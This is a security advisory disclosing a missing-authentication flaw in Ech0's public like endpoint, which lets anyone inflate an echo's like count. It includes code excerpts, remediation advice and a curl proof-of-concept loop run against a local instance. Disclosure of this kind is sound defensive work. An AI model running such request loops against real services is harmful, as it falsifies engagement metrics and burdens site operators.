GHSA-rgj7-vg8v-j4wr

Summary

No authentication is required to invoke PUT /api/echo/like/:id. The handler is registered on the public router group. The service increments fav_count for the given echo without checking identity, without a per-user limit, and without CSRF tokens. A remote client can arbitrarily inflate like metrics with repeated requests.

Description

Root cause: The like endpoint is explicitly public (PublicRouterGroup). LikeEcho in the service layer only runs a repository increment inside a transaction—no viewer/user binding.

Security boundary that fails: Integrity of engagement metrics (likes) and any trust that “likes” represent distinct or authenticated users.

Exploitation: Discover or guess a public echo UUID (timeline, API, share link) → send unauthenticated PUT repeatedly → fav_count increases linearly.

Affected files

| Public route registration | internal/router/echo.go | | Like mutation (no auth check) | internal/service/echo/echo.go | | Handler | internal/handler/echo/echo.go |

Vulnerable / relevant code

Public PUT route:

```11:13:Ech0/internal/router/echo.go // Public appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho()) appRouterGroup.PublicRouterGroup.GET("/tags", h.EchoHandler.GetAllTags())

**Service does not use viewer / rate limit:**

```244:248:Ech0/internal/service/echo/echo.go
func (echoService *EchoService) LikeEcho(ctx context.Context, id string) error {
    return echoService.transactor.Run(ctx, func(txCtx context.Context) error {
        return echoService.echoRepository.LikeEcho(txCtx, id)
    })
}

Execution flow

1. Client resolves ECHO_ID (e.g. GET /api/echo/page with any valid token, or from UI).
2. Client sends PUT /api/echo/like/{ECHO_ID} with no Authorization header.
3. Gin matches public route → handler → EchoService.LikeEcho → DB increments fav_count.
4. Repeat N times → count increases by N.

Proof of concept

BASE="http://127.0.0.1:6277"

OWNER_TOKEN=$(curl -sS -X POST "$BASE/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"owner","password":"OwnerPass123"}' | jq -r '.data')

ECHO_ID=$(curl -sS "$BASE/api/echo/page?page=1&page_size=1" \
  -H "Authorization: Bearer $OWNER_TOKEN" | jq -r '.data.items[0].id')

# Single unauthenticated like
curl -sS -w "\nHTTP:%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID"

# Inflate (e.g. 55 times); expect HTTP 200 each time
for i in $(seq 1 55); do
  curl -sS -o /dev/null -w "%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID"
done

# Observe fav_count
curl -sS "$BASE/api/echo/$ECHO_ID" | jq '.data | {id, fav_count}'

Observed proof (manual test):

• Each unauthenticated PUT returned HTTP 200 with success JSON (e.g. 点赞Echo成功, code:1).
• fav_count increased to 113 , demonstrating linear inflation from one client with no authentication. <img width="1109" height="188" alt="Screenshot 2026-04-01 105522" src="https://github.com/user-attachments/assets/a725cf10-d20b-45a1-95bb-2e8ea396c08c" />

Impact

Like counts and ranking/social proof can be falsified; feeds or “popular” logic tied to fav_count are untrustworthy. high-volume loops add DB write load; possible abuse against availability at scale.

Attacker capability: Anyone on the network can manipulate public engagement metrics for any known echo id. Combined with permissive CORS browsers could automate cross-origin requests.

Remediation

Require authentication for likes and enforce one like per principal, or keep anonymous likes but add rate limiting, proof-of-work / captcha, or signed tokens tied to anon sessions; document that counts are not auditor-grade metrics.